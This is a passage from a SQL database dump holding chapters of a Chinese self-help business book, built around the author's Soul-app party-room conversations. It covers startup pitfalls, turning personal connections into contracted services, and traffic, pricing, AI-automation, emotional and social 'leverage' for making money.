慢积累出来的,没有捷径。\"\n\n---\n\n这本书的真实目的,不是让你不去学习。\n\n而是告诉你,学习要有辨别力。\n\n有些课值得花钱,有些课是在割韭菜。\n\n区分它们的方法很简单:看它卖的是知识,还是希望。\n\n卖知识的课,会告诉你具体能学到什么。\n\n卖希望的课,只会告诉你学完能赚多少。\n\n记住这个区别,你就能避开大部分的坑。\n', 1558, 0, 1.00, 31, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.808', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (40, '7.3', 'part-3', '第三篇|真实的错误', 'chapter-7', '第7章|别人犯的错误', '在Soul找恋爱但想赚钱的人', '# 7.3 在Soul找恋爱但想赚钱的人\n\n一个房间两种目标,最后两个都做不成。\n\n2025年12月10日,周三,早上6点35分。\n\n那天派对房里来了个小姐姐,语气有点犹豫。\n\n她说:“卡若,我来Soul是找对象,但我也想找项目。”\n\n我问:“你今天的目标是哪一个?”\n\n她沉默了。\n\n——\n\n在派对房的聊天里,\n\n我们经常遇到“目标冲突”。\n\n你说你要恋爱,\n\n你说你要赚钱。\n\n同一个场景里,\n\n你把两件事混在一起,\n\n结果两件事都做不好。\n\n——\n\n第二天线下,我们在咖啡馆见。\n\n我让她写“分轨表”。\n\n恋爱分轨与赚钱分轨。\n\n恋爱分轨三条:\n\n明确你的长期关系目标、你的边界与你的节奏。\n\n赚钱分轨三条:\n\n明确你的可交易能力、你的客户获取路径、你的交付与复盘。\n\n分轨写完,\n\n她说:“我以前把两件事混在一个时间里。”\n\n“所以我每天都焦虑。”\n\n——\n\n派对房里有人问:“能不能恋爱同时赚钱?”\n\n我说:“可以,但要‘分场景’。”\n\n恋爱场景不谈钱。\n\n赚钱场景不谈情。\n\n时间与空间都要分开。\n\n否则你会把‘关系’变成‘交易’,把‘交易’变成‘关系’。\n\n——\n\n我给她一个“两周分轨训练”。\n\n第一周只做赚钱分轨。\n\n把你的能力做成‘当下可用清单’,每天三个动作,晚上复盘。\n\n第二周做恋爱分轨。\n\n只做认识与聊天,\n\n不做评判与承诺,\n\n写你在聊天里‘被理解与理解对方’的三个瞬间。\n\n——\n\n两周后,她在派对房复盘。\n\n“我不再在谈钱的时候讲感受。”\n\n“我不再在聊天的时候讲项目。”\n\n“我分开了。”\n\n“我每天不焦虑了。”\n\n我说:“恋爱与赚钱都需要‘结构’。”\n\n“有结构,你就不会把目的混在一起。”\n\n——\n\n派对房里我们写了一张“分轨清单”。\n\n1. 写恋爱分轨:目标/边界/节奏,只在恋爱场景使用。\n\n2. 写赚钱分轨:能力/客户/交付与复盘,只在工作场景使用。\n\n3. 时间与空间分开:不在同一时段与地点混用。\n\n4. 每晚复盘“有没有混用”:一旦混用,第二天调整。\n\n5. 只在“分轨完成”之后尝试“场景链接”,否则继续分开。\n', 765, 0, 1.00, 32, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.820', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (41, '7.4', 'part-3', '第三篇|真实的错误', 'chapter-7', '第7章|别人犯的错误', '创业者的三种死法:冲动、轻信、没结构', '# 7.4 创业者的三种死法:冲动、轻信、没结构\n\n\"我见过太多创业失败的人,他们的失败原因基本上就三种。\"\n\n2025年12月12日,周五,早上7点05分。\n\n那天派对房的话题有点沉重,聊起了创业失败。\n\n有人问:\"你觉得创业失败最常见的原因是什么?\"\n\n我说:\"不是市场不好,不是运气不好,是创业者自己的问题。\"\n\n---\n\n派对房里,有人说:\"能具体说说吗?\"\n\n我说:\"好,我给你们讲三种最常见的\'死法\'。\"\n\n---\n\n第一种死法:冲动\n\n\"很多人创业,是因为一时冲动。\"\n\n\"比如他看到别人做某个生意赚钱了,他就想:我也能做。\"\n\n\"然后什么都没准备好,就冲进去了。\"\n\n---\n\n我继续说。\n\n\"冲动创业的人,通常有几个特点。\"\n\n\"第一,没有做过市场调研。他不知道这个市场有多大,竞争有多激烈,自己有没有优势。\"\n\n\"第二,没有做过财务规划。他不知道要投多少钱,要多久才能回本,中间的现金流怎么解决。\"\n\n\"第三,没有做过风险评估。他不知道可能会遇到什么问题,遇到问题怎么办。\"\n\n---\n\n我停了一下。\n\n\"冲动创业的结果是什么?\"\n\n\"通常是三个月到半年就死了。\"\n\n\"因为他根本没想清楚,遇到问题就慌了,然后就放弃了。\"\n\n---\n\n第二种死法:轻信\n\n\"有些人创业,是因为相信了别人的话。\"\n\n\"比如有人跟他说:\'这个项目稳赚不赔,你投钱进来就行。\'\"\n\n\"他就信了,把钱投进去了。\"\n\n---\n\n我继续说。\n\n\"轻信的人,通常有几个特点。\"\n\n\"第一,不做独立判断。别人说什么他就信什么,不去验证。\"\n\n\"第二,容易被忽悠。别人给他画个大饼,他就觉得自己要发财了。\"\n\n\"第三,分不清朋友和生意。他觉得朋友介绍的项目肯定靠谱,结果被朋友坑了。\"\n\n---\n\n我停了一下。\n\n\"轻信创业的结果是什么?\"\n\n\"通常是被骗或者被坑。\"\n\n\"他投进去的钱,要么被合伙人卷走了,要么被项目方骗走了。\"\n\n---\n\n第三种死法:没结构\n\n\"有些人创业,方向是对的,也很努力,但就是做不起来。\"\n\n\"为什么?因为他没有结构。\"\n\n---\n\n我继续说。\n\n\"什么叫没有结构?\"\n\n\"就是他不知道一个生意应该怎么运转。\"\n\n\"他可能产品做得很好,但不会营销。\"\n\n\"他可能营销做得很好,但不会管理。\"\n\n\"他可能什么都会一点,但什么都不精通。\"\n\n---\n\n我停了一下。\n\n\"没结构的人,通常有几个特点。\"\n\n\"第一,什么都自己干。他不会分工,不会授权,什么都想自己做。\"\n\n\"第二,没有系统思维。他只看眼前的问题,不看整体的逻辑。\"\n\n\"第三,不会复盘。他做错了不知道为什么错,做对了也不知道为什么对。\"\n\n---\n\n我继续说。\n\n\"没结构创业的结果是什么?\"\n\n\"通常是累死自己,但生意做不大。\"\n\n\"他每天忙得要死,但收入就是上不去。\"\n\n\"因为他的时间和精力都被琐事占满了,没有空间去思考更重要的事情。\"\n\n---\n\n派对房里,有人问:\"那怎么避免这三种死法?\"\n\n我说:\"很简单。\"\n\n\"第一,不要冲动。想创业,先花三个月到半年时间做准备。调研市场、规划财务、评估风险。\"\n\n\"第二,不要轻信。任何项目,都要自己去验证。别人说的话,只能作为参考,不能作为决策依据。\"\n\n\"第三,要有结构。学习商业的基本逻辑,学习怎么搭建团队,学习怎么做系统。\"\n\n---\n\n那天聊完,派对房里有人说:\"感觉创业好难。\"\n\n我说:\"创业确实难。\"\n\n\"但难不代表不能做。\"\n\n\"你只要避开这三个坑,成功的概率就会大很多。\"\n\n---\n\n我停了一下。\n\n\"创业失败不可怕,可怕的是不知道为什么失败。\"\n\n\"如果你失败了,但你知道原因,你下次就能避免。\"\n\n\"如果你失败了,但你不知道原因,你下次还会犯同样的错误。\"\n\n---\n\n这本书的真实目的,不是吓唬你不要创业。\n\n而是告诉你,创业之前,先检查自己有没有这三个问题:\n\n第一,你是冲动还是深思熟虑?\n\n第二,你是轻信还是独立判断?\n\n第三,你有没有结构化的思维?\n\n如果三个问题的答案都是正面的,那就去创业吧。\n\n如果有任何一个问题的答案是负面的,那就先解决这个问题,再去创业。\n', 1539, 0, 1.00, 33, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.831', 1, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (42, '7.5', 'part-3', '第三篇|真实的错误', 'chapter-7', '第7章|别人犯的错误', '人情生意的终点:关系越多亏得越多', '# 7.5 人情生意的终点:关系越多亏得越多\n\n人情不是生意,生意要规则和边界。\n\n2025年12月15日,周一,早上6点48分。\n\n那天派对房里来了个做传统生意的老板,语气有点无奈。\n\n他说:“我做的都是熟人单,但越做越亏。”\n\n我说:“因为你在做‘人情’。”\n\n“不是在做‘交易’。”\n\n——\n\n在派对房的聊天里,\n\n我们总结出‘人情生意’的两个陷阱。\n\n一、没有标准;\n\n二、没有边界。\n\n没有标准,你就按关系定价与交付;\n\n没有边界,你就无限让渡时间与资源。\n\n结果是关系很多,亏得更多。\n\n——\n\n第二天线下,我在茶馆让他做“关系转交易”的练习。\n\n把熟人客户做成‘关系卡’与‘服务包’。\n\n关系卡写清联系人、可信度、合作历史、风险与托底。\n\n服务包写清交付、价格、时段、风险与分润。\n\n把人情变成标准化与可交易。\n\n——\n\n派对房里有人问:“这样会不会显得生硬?”\n\n我说:“生硬一次,舒服很多次。”\n\n“你把标准与边界说清楚,”\n\n“关系就不会互相消耗。”\n\n——\n\n我们复盘了三个‘人情事故’。\n\n一次是“帮忙不收费,后来无限加需求”。\n\n一次是“先做后谈,最后谈不拢”。\n\n一次是“口头约定,交付模糊,钱也模糊”。\n\n解决方案只有一个:\n\n把服务写进合同,\n\n把分润写进合同,\n\n把风险与托底写进合同。\n\n——\n\n两周后,他在派对房复盘。\n\n“我不再做‘先帮后说’的单。”\n\n“我把‘标准与边界’做成清单。”\n\n“我只做写得清楚的合作。”\n\n“我关系少了,但钱稳了。”\n\n——\n\n我把这章收尾成一个“关系转交易清单”。\n\n1. 做关系卡:联系人/可信度/合作历史/风险与托底。\n\n2. 做服务包:交付/价格/时段/风险与分润,能被购买与复购。\n\n3. 合同化:把标准与边界写清楚,拒绝口头与模糊。\n\n4. 不做‘先帮后说’,所有合作先写后做。\n\n5. 每月复盘‘关系消耗与利润’,淘汰人情事故源。\n', 706, 0, 1.00, 34, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.842', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (43, '8.1', 'part-4', '第四篇|真实的赚钱', 'chapter-8', '第8章|底层结构', '流量杠杆:抖音、Soul、飞书', '# 8.1 流量杠杆:抖音、Soul、飞书\n\n\"你以为是流量,其实是结构。你以为是曝光,其实是兑现。\"\n\n2025年11月11日,周二,早上6点32分。\n\n窗外还是黑的,茶刚泡好,派对房已经陆续有人进来了。\n\n有个声音有点急的小伙子上麦:\n\n\"卡若,你每天在Soul开播,抖音也在发,还说要用飞书,这三件事怎么合在一起?\"\n\n我笑了。\n\n\"这是一个杠杆。\"\n\n---\n\n派对房里安静了几秒。\n\n我说:\"抖音是窗,Soul是人,飞书是中台。\"\n\n\"三者合在一起,就能把\'看过你\'变成\'跟着你\'。\"\n\n他问:\"什么意思?\"\n\n我说:\"你听我讲个真实的例子。\"\n\n---\n\n2021年,我用一条\"办公室泡茶\"的本地内容,连续翻拍半年,做到70万粉。\n\n那条视频的结构很简单。\n\n前三秒冲击:\"来办公室泡茶,聊项目。\"\n\n中段给细节:\"你带茶叶,我提供开水。\"\n\n结尾有承诺:\"评论拿清单,加微信约时间。\"\n\n派对房里,有人打字:\"就这么简单?\"\n\n我说:\"就这么简单。每天三条,早8点、午3点、晚9点。\"\n\n\"但你能坚持半年吗?\"\n\n派对房里,又是一阵沉默。\n\n---\n\n我继续说:\"抖音的问题是什么?\"\n\n\"停留时间太短。\"\n\n\"我在抖音上70万粉,场均停留不到1分钟。\"\n\n\"但我在Soul上开播,场均停留13分钟,高的时候25分钟。\"\n\n有人问:\"为什么差这么多?\"\n\n我说:\"抖音是推的,Soul是拉的。\"\n\n\"抖音是我把内容推给你,你看不看是算法决定的。\"\n\n\"Soul是你带着问题来找我,你来不来是你自己决定的。\"\n\n我停了一下。\n\n\"Soul现在没有做分层,没做流量池机制,没做人群标签。\"\n\n\"进来的人只看标题,一进来的都很杂。\"\n\n\"但正因为杂,才有机会。\"\n\n\"因为平台还在早期,你能捡到便宜。\"\n\n---\n\n派对房里,有人问:\"那飞书是干嘛的?\"\n\n我说:\"飞书是中台。\"\n\n\"你在派对房里说\'回头加你微信\',这是承诺。\"\n\n\"你在飞书里建一个工单,写上\'今天下午3点前加他微信,周五前线下约见\',这是兑现。\"\n\n有人打字:\"承诺和兑现有什么区别?\"\n\n我说:\"区别大了。\"\n\n\"承诺是嘴上说说,兑现是有人盯着。\"\n\n\"中台不是一个软件,是一个\'确定性系统\'。\"\n\n---\n\n我在派对房里讲了一个真实的案例。\n\n我们把派对房里经常出现的动作做成表单与工单:\n\n加微信、线下约见、资料回填、训练表领取、成交与售后。\n\n每个工单都有责任人与时间节点,每个表单都回到\"客户卡片\"。\n\n两周后,我们复盘了数据。\n\n抖音的停留与完播提升30%。\n\n派对房的上麦与线下约见提升40%。\n\n中台的工单按时率提升到92%。\n\n派对房里,有人问:\"最重要的是什么?\"\n\n我说:\"最重要的是\'承诺的兑现率\'提升了。\"\n\n\"因为中台在控节点,我们不再靠激情与记忆去\'照顾客户\'。\"\n\n---\n\n那天快结束的时候,有人问:\"那我现在应该怎么开始?\"\n\n我说:\"先做最简单的事。\"\n\n\"人做三件:选题、脚本、复盘。\"\n\n\"机器做五件:拍摄、剪辑、字幕、封面、发布。\"\n\n\"中台做确定:表单、工单、看板、质检。\"\n\n我停了一下。\n\n\"你不需要一开始就做得很完美。\"\n\n\"你只需要把这三段结构跑起来,然后每周只改最短的那一段。\"\n\n---\n\n后来有人在群里问我:\"卡若,你说的这个\'窗—人—中台\',普通人能用吗?\"\n\n我说:\"当然能用。\"\n\n\"但你得先问自己三个问题。\"\n\n\"第一,你的窗在哪里?是抖音、小红书、还是Soul?\"\n\n\"第二,你的人在哪里?是派对房、直播间、还是社群?\"\n\n\"第三,你的中台是什么?是飞书、企业微信、还是一个Excel表?\"\n\n\"三段合起来,才是一个完整的杠杆。\"\n\n\"缺了任何一段,流量都会漏掉。\"\n\n---\n\n流量杠杆的本质,不是\"更多人看到你\"。\n\n是\"看到你的人,能不能变成跟着你的人\"。\n\n窗口只给结构与纪律的人。\n\n你以为是流量,其实是结构。\n\n你以为是曝光,其实是兑现。\n', 1484, 0, 1.00, 35, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.853', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (44, '8.2', 'part-4', '第四篇|真实的赚钱', 'chapter-8', '第8章|底层结构', '价格杠杆:供应链与信息差', '# 8.2 价格杠杆:供应链与信息差\n\n\"便宜不是优势,总成本才是价格。\"\n\n2025年11月13日,周四,早上6点48分。\n\n外面下着小雨,派对房里却热闹得很。\n\n一个做日用品的朋友上麦,语气有点沮丧:\n\n\"卡若,洗衣液一块几的兑水价,我们拼不过。\"\n\n我说:\"你不是输在价格差,你是输在供应链与信息差。\"\n\n---\n\n派对房里安静了。\n\n有人打字:\"什么意思?\"\n\n我说:\"同一个产品,有人卖100,有人卖200。\"\n\n\"差价不是写话术带来的,是后端与总成本带来的。\"\n\n那个朋友问:\"总成本是什么?\"\n\n我说:\"六个字:货、价、期、质、服、风控。\"\n\n---\n\n派对房里,有人问:\"能具体说说吗?\"\n\n我说:\"货稳不稳?供应商会不会断货?\"\n\n\"价控不控?原材料涨价你能不能锁住价格?\"\n\n\"期够不够长?账期是15天还是30天?\"\n\n\"质合不合格?退换率是多少?\"\n\n\"服标不标准?售后响应是24小时还是72小时?\"\n\n\"风控可不可视化?出了问题有没有托底方案?\"\n\n我停了一下。\n\n\"这六个问题,你能回答几个?\"\n\n那个朋友想了想,说:\"三个。\"\n\n我说:\"那你就知道问题在哪里了。\"\n\n---\n\n那天派对房里,还来了一个做机票的朋友。\n\n他说:\"卡若,客户只看价格,我们越做越薄。\"\n\n我说:\"把\'票\'升级为\'方案\'。\"\n\n他问:\"什么意思?\"\n\n我说:\"你不是在卖机票,你是在卖\'从A点到B点的确定性\'。\"\n\n\"机票只是其中一个环节。\"\n\n\"延误怎么办?改签怎么办?酒店怎么办?交通怎么办?\"\n\n\"这些加起来,才是客户真正在乎的。\"\n\n---\n\n派对房里,有人打字:\"这个思路厉害。\"\n\n我说:\"你可以做三档。\"\n\n\"基础档:省事。帮你把票订好,有问题联系我。\"\n\n\"标准档:省事+稳时。帮你做延误历史分析,选延误率最低的航班。\"\n\n\"保障档:省事+稳时+托底。24小时响应,延误超过2小时,酒店和交通备用方案自动启动。\"\n\n我停了一下。\n\n\"用延误历史与备选航班把风险降下来,用24小时响应与酒店交通备用做托底。\"\n\n\"让客户看\'总成本\'而不是\'最低价\'。\"\n\n---\n\n两周后,那个做机票的朋友在派对房里复盘。\n\n他说:\"我们不再打\'最低价\'。\"\n\n\"我们卖\'最低总成本的方案\'。\"\n\n\"客户愿意付钱,因为我们让他少焦虑、少损失。\"\n\n\"毛利稳定了。\"\n\n---\n\n派对房里,有人问:\"那做日用品的怎么办?\"\n\n我说:\"一样的逻辑。\"\n\n\"你不是在卖洗衣液,你是在卖\'干净衣服的确定性\'。\"\n\n\"一块几的兑水价,质量稳定吗?交货准时吗?售后有保障吗?\"\n\n\"你把这些做好,你就不用跟最低价竞争。\"\n\n---\n\n那天派对房里,有人问了一个很好的问题。\n\n\"卡若,信息差到底是什么?\"\n\n我说:\"信息差就是你知道的,别人不知道。\"\n\n\"比如退税政策。\"\n\n\"电商缴税200万,你通过残疾人用工可以退税。\"\n\n\"这就是信息差。\"\n\n\"你知道这个政策,你就能帮企业省钱。\"\n\n\"你帮企业省钱,你就能分一杯羹。\"\n\n---\n\n派对房里,有人打字:\"这种信息差怎么找?\"\n\n我说:\"多听,多问,多链接。\"\n\n\"我在Soul上开了几十场派对,认识了几百个老板。\"\n\n\"每个老板手上都有不同的信息差。\"\n\n\"你把他们链接起来,你就有了信息差。\"\n\n---\n\n价格杠杆的本质,不是\"卖得更便宜\"。\n\n是\"让客户觉得总成本更低\"。\n\n后端越稳,前端越从容。\n\n你以为是标价,其实是总成本。\n\n你以为是便宜,其实是更稳。\n', 1303, 0, 1.00, 36, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.865', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (45, '8.3', 'part-4', '第四篇|真实的赚钱', 'chapter-8', '第8章|底层结构', '时间杠杆:自动化 + AI', '# 8.3 时间杠杆:自动化 + AI\n\n\"忙不是能力,能按时才是时间。\"\n\n2025年11月17日,周一,早上6点40分。\n\n刚过立冬,天亮得越来越晚,派对房里的人却越来越早。\n\n有个做自媒体的小伙子上麦,声音里带着疲惫:\n\n\"卡若,我一个人做内容,每天都不够用,AI能不能帮?\"\n\n我说:\"能帮。\"\n\n\"但不是你想的那种帮法。\"\n\n---\n\n派对房里,有人问:\"什么意思?\"\n\n我说:\"大部分人用AI,是想让AI替自己干活。\"\n\n\"但真正的时间杠杆,是把事情分成三类。\"\n\n\"人做三件,机器做五件,中台做确定。\"\n\n那个朋友问:\"具体怎么分?\"\n\n我说:\"人做三件:选题、脚本、复盘。\"\n\n\"这三件事,是你不能外包的。\"\n\n\"因为选题决定方向,脚本决定结构,复盘决定进化。\"\n\n---\n\n派对房里,有人打字:\"那机器做什么?\"\n\n我说:\"机器做五件:拍摄、剪辑、字幕、封面、发布。\"\n\n\"这五件事,是可以标准化的。\"\n\n\"你做一个模板,机器就能重复执行。\"\n\n有人问:\"那中台做什么?\"\n\n我说:\"中台做确定:表单、工单、节点SLA、复盘与质检。\"\n\n\"中台不生产内容,中台生产确定性。\"\n\n---\n\n那天早上,我在派对房里分享了一个\"七天装机表\"。\n\n有人问:\"什么是装机表?\"\n\n我说:\"就是用七天时间,把时间杠杆装起来。\"\n\n第一天,写选题与脚本模板。用AI做开场、反转、承诺的句式库,生成20条模板。\n\n第二天,搭素材池与模板库。风景、路线、价格、互动四类素材入库200条。\n\n第三天,写剪辑热键表,把手艺活变机械执行。\n\n第四天,建发布看板。三条一天、三时段、统一主题不同结构。\n\n第五天,建复盘报表。停留、完播、评论、私信四项,只改最短段。\n\n第六天,跑一次流水线。早写、中拍、下午剪、晚上发与复盘。\n\n第七天,只做\"改短段与改模板\"。\n\n---\n\n派对房里,有人问:\"这样真的能省时间?\"\n\n我说:\"你试试就知道。\"\n\n两周后,那个朋友在派对房里复盘。\n\n他说:\"我每天三条,不再焦虑。\"\n\n\"我只焦虑\'选题与脚本\'。\"\n\n\"因为机器会把其他事情做完。\"\n\n---\n\n派对房里,有人问:\"那AI代聊靠谱吗?\"\n\n我说:\"有用,但要设质检点。\"\n\n有人问:\"什么质检点?\"\n\n我说:\"三处。\"\n\n\"第一,场景识别是否正确。AI有没有搞错客户的问题?\"\n\n\"第二,承诺是否可兑现。AI有没有乱承诺?\"\n\n\"第三,时间节点是否明确。AI有没有把事情拖延?\"\n\n我停了一下。\n\n\"AI代聊做轻动作,专业的人做重交付。\"\n\n\"中台把节点与责任人确定下来。\"\n\n---\n\n那天派对房里,有人问了一个很实在的问题。\n\n\"卡若,你说的这些AI工具,普通人能用吗?\"\n\n我说:\"能用。\"\n\n\"现在有很多AI工具,VO、GPT、Cursor、TRAE、DEEPSEEK、豆包等。\"\n\n\"关键不是用什么工具,是你怎么用。\"\n\n\"你用AI省下来的时间,不是用来休息的。\"\n\n\"是用来做更重要的事的。\"\n\n---\n\n时间杠杆的本质,不是\"更快\"。\n\n是\"更稳\"。\n\n人做更少但更重要的事。\n\n机器做更多但更确定的事。\n\n中台让承诺更兑现。\n\n忙不是能力,能按时才是时间。\n', 1191, 0, 1.00, 37, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.876', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (46, '8.4', 'part-4', '第四篇|真实的赚钱', 'chapter-8', '第8章|底层结构', '情绪杠杆:咨询、婚恋、生意场', '# 8.4 情绪杠杆:咨询、婚恋、生意场\n\n\"打中当下,才有停留;给出当下,才有成交。\"\n\n2025年11月20日,周四,早上7点15分。\n\n今天派对房气氛有点不一样,好几个做知识付费的朋友都在。\n\n其中一个上麦,语气有点困惑:\n\n\"卡若,我讲得很专业,但成交一般。\"\n\n我说:\"专业要挂在情绪上。\"\n\n---\n\n派对房里,有人问:\"什么意思?\"\n\n我说:\"情绪是\'拉住\',专业是\'带走\'。\"\n\n\"你光讲专业,没有情绪,人家听完就走。\"\n\n\"你先用情绪拉住他,再用专业带走他,他才会付钱。\"\n\n那个朋友问:\"怎么用情绪拉住?\"\n\n我说:\"先搞清楚情绪有哪几类。\"\n\n---\n\n派对房里,有人打字:\"情绪有几类?\"\n\n我说:\"四类。焦虑、内耗、迷茫、无力。\"\n\n\"咨询、婚恋、生意场,都可以挂这四类情绪。\"\n\n我停了一下。\n\n\"你讲效率,挂在\'内耗\'。\"\n\n\"你讲方法,挂在\'迷茫\'。\"\n\n\"你讲系统,挂在\'无力\'。\"\n\n\"你讲选择,挂在\'焦虑\'。\"\n\n---\n\n派对房里,有人问:\"怎么挂?\"\n\n我说:\"开场用\'你是不是…\'句式。\"\n\n\"比如:\'你是不是每天很忙,但感觉什么都没做成?\'\"\n\n\"比如:\'你是不是找了很多方法,但还是不知道该怎么开始?\'\"\n\n\"比如:\'你是不是知道要做,但就是没有力气去做?\'\"\n\n\"比如:\'你是不是面对很多选择,但不知道哪个是对的?\'\"\n\n我停了一下。\n\n\"这四句话,分别对应内耗、迷茫、无力、焦虑。\"\n\n\"你用对了,人家就会停下来。\"\n\n\"因为你说中了他当下的感受。\"\n\n---\n\n那个做知识号的朋友问:\"那中段和结尾呢?\"\n\n我说:\"中段放一句真实人的话。\"\n\n\"比如:\'我之前有个学员,他也是这样,他说…\'\"\n\n\"这句话是\'被理解证据\'。\"\n\n\"人家听了会觉得,\'原来不只是我这样\'。\"\n\n派对房里,有人打字:\"那结尾呢?\"\n\n我说:\"结尾给\'当下可用清单\'。\"\n\n\"比如:\'我整理了一份清单,评论区扣1,我私发给你。\'\"\n\n\"清单是可以立刻拿走的东西。\"\n\n\"不是让他去学习,是让他现在就能用。\"\n\n---\n\n两周后,那个做知识号的朋友在派对房里复盘。\n\n他说:\"我从每天3000播放到每天5万。\"\n\n\"不是因为我讲了更多知识,是因为我把知识挂在当下的感受上。\"\n\n\"结尾给清单,评论拿走。\"\n\n---\n\n派对房里,有人问:\"那婚恋场景怎么用?\"\n\n我说:\"婚恋场景有一个特别重要的点。\"\n\n\"恋爱场景不谈钱,赚钱场景不谈情。\"\n\n派对房里,有人打字:\"为什么?\"\n\n我说:\"时间与空间分开,否则情绪会把交易毁掉,交易会把关系毁掉。\"\n\n\"你在约会的时候谈生意,约会就没了。\"\n\n\"你在谈生意的时候谈感情,生意就没了。\"\n\n---\n\n那天派对房里,有个小姐姐上麦。\n\n她说:\"卡若,我来Soul是找对象,但我也想找项目。\"\n\n我问:\"你今天的目标是哪一个?\"\n\n她沉默了。\n\n我说:\"一个房间两种目标,最后两个都做不成。\"\n\n\"你得选一个。\"\n\n\"今天是找对象的日子,就专心找对象。\"\n\n\"明天是找项目的日子,就专心找项目。\"\n\n\"分轨执行,避免目标冲突。\"\n\n---\n\n情绪杠杆的本质,不是\"煽情\"。\n\n是\"当下\"。\n\n开场挂在四类情绪之一,用\"你是不是…\"句式做共鸣。\n\n中段放一句真实人的话,做\"被理解\"证据。\n\n结尾给当下可用清单,评论拿走,提高互动与转化。\n\n打中当下,才有停留。\n\n给出当下,才有成交。\n', 1275, 0, 1.00, 38, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:49.887', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (47, '8.5', 'part-4', '第四篇|真实的赚钱', 'chapter-8', '第8章|底层结构', '社交杠杆:认识谁比你会什么更重要', '# 8.5 社交杠杆:认识谁比你会什么更重要\n\n\"社交不是聊天,是把关系做成交付与分润。\"\n\n2025年11月22日,周六,早上7点整。\n\n周末的派对房人比平时少一些,但来的都是老面孔。\n\n有个年轻人上麦,声音有点迷茫:\n\n\"卡若,我什么都不会,怎么赚钱?\"\n\n我说:\"你认识谁?\"\n\n---\n\n派对房里,突然安静了。\n\n他愣了一下。\n\n\"认识谁?\"\n\n我说:\"对。\"\n\n\"把认识的人链接起来,也能赚钱。\"\n\n有人打字:\"这也能赚钱?\"\n\n我说:\"当然能。\"\n\n\"我给你讲一个人的故事。\"\n\n---\n\n那天早上,我在派对房里讲了老墨的故事。\n\n老墨是我多年的朋友。\n\n他手上没有一个项目,但他认识所有有项目的人。\n\n他做的是资源整合。\n\n把A的需求对接给B的资源,中间抽三个点。\n\n派对房里,有人问:\"这也是一门生意?\"\n\n我说:\"当然是。\"\n\n\"这就是社交杠杆。\"\n\n---\n\n我停了一下。\n\n\"社交杠杆的核心不是\'认识多少人\'。\"\n\n\"是\'能不能把关系做成可交易的服务\'。\"\n\n派对房里,有人问:\"怎么做成服务?\"\n\n我说:\"两张卡。\"\n\n\"第一张:资源卡。\"\n\n\"资源名称、联系人与可信度、可用时段与数量、托底方案。\"\n\n\"第二张:服务包。\"\n\n\"目标客户、交付内容、价格与结算、时段与SLA、风险与托底、分润机制。\"\n\n我停了一下。\n\n\"资源卡是你认识谁。\"\n\n\"服务包是你能帮谁做什么。\"\n\n\"两张卡合起来,社交就变成了生意。\"\n\n---\n\n那个朋友问:\"怎么开始?\"\n\n我说:\"先做\'图谱与清单\'。\"\n\n\"画出你认识的人与他们的资源图谱。\"\n\n\"做出\'当下可用清单\'。\"\n\n派对房里,有人打字:\"然后呢?\"\n\n我说:\"每天只做三件事。\"\n\n\"第一,对接一个需求。\"\n\n\"第二,链接一个资源。\"\n\n\"第三,复盘一个交付。\"\n\n我停了一下。\n\n\"你不需要一开始就做得很完美。\"\n\n\"你只需要每天做这三件事。\"\n\n\"做一个月,你就会发现,你认识的人开始变成你的资产。\"\n\n---\n\n派对房里,有人问:\"那分润怎么算?\"\n\n我说:\"分润要有规则。\"\n\n\"每个交付都有责任人与时间节点。\"\n\n\"每个分润都有规则与到账条件。\"\n\n我停了一下。\n\n\"社交不再是\'关系消耗\',而是\'结构增值\'。\"\n\n---\n\n后来,有人在派对房里问:\"卡若,你说的这个社交杠杆,有没有具体的例子?\"\n\n我说:\"有。\"\n\n\"我们之前做过一个事。\"\n\n\"把退税与用工做一体化。\"\n\n派对房里,有人问:\"什么意思?\"\n\n我说:\"有些企业缴增值税超过200万,可以通过残疾人用工退税。\"\n\n\"有些企业需要用工,但不知道怎么合规。\"\n\n\"我们认识做退税的,也认识做用工的。\"\n\n\"我们把这两边对接起来,中间抽点。\"\n\n---\n\n我停了一下。\n\n\"这就是信息差。\"\n\n\"你知道这个政策,别人不知道。\"\n\n\"你能链接这个资源,别人不能。\"\n\n\"你就有了社交杠杆。\"\n\n派对房里,有人问:\"这种信息差怎么找?\"\n\n我说:\"多听,多问,多链接。\"\n\n\"我在Soul上开了几十场派对,认识了几百个老板。\"\n\n\"每个老板手上都有不同的信息差。\"\n\n\"你把他们链接起来,你就有了信息差。\"\n\n---\n\n两周后,那个朋友在派对房里复盘。\n\n他说:\"我从\'聊天\'变成\'交付\'。\"\n\n\"我从\'关系\'变成\'服务包\'。\"\n\n\"我从\'一次性\'变成\'复购与分润\'。\"\n\n派对房里,有人打字:\"这个思路清楚了。\"\n\n---\n\n社交杠杆的本质,不是\"你会什么\"。\n\n是\"你认识谁\"。\n\n因为你能把\"会的人\"链接起来。\n\n做资源卡与服务包,把关系标准化与可交易化。\n\n每天三件事:对接一个需求、链接一个资源、复盘一个交付。\n\n认识谁,比你会什么更重要。\n\n因为你能把\"会的人\"链接起来。\n', 1371, 0, 1.00, 39, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:49.898', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (48, '8.6', 'part-4', '第四篇|真实的赚钱', 'chapter-8', '第8章|底层结构', '云阿米巴:分不属于自己的钱', '# 8.6 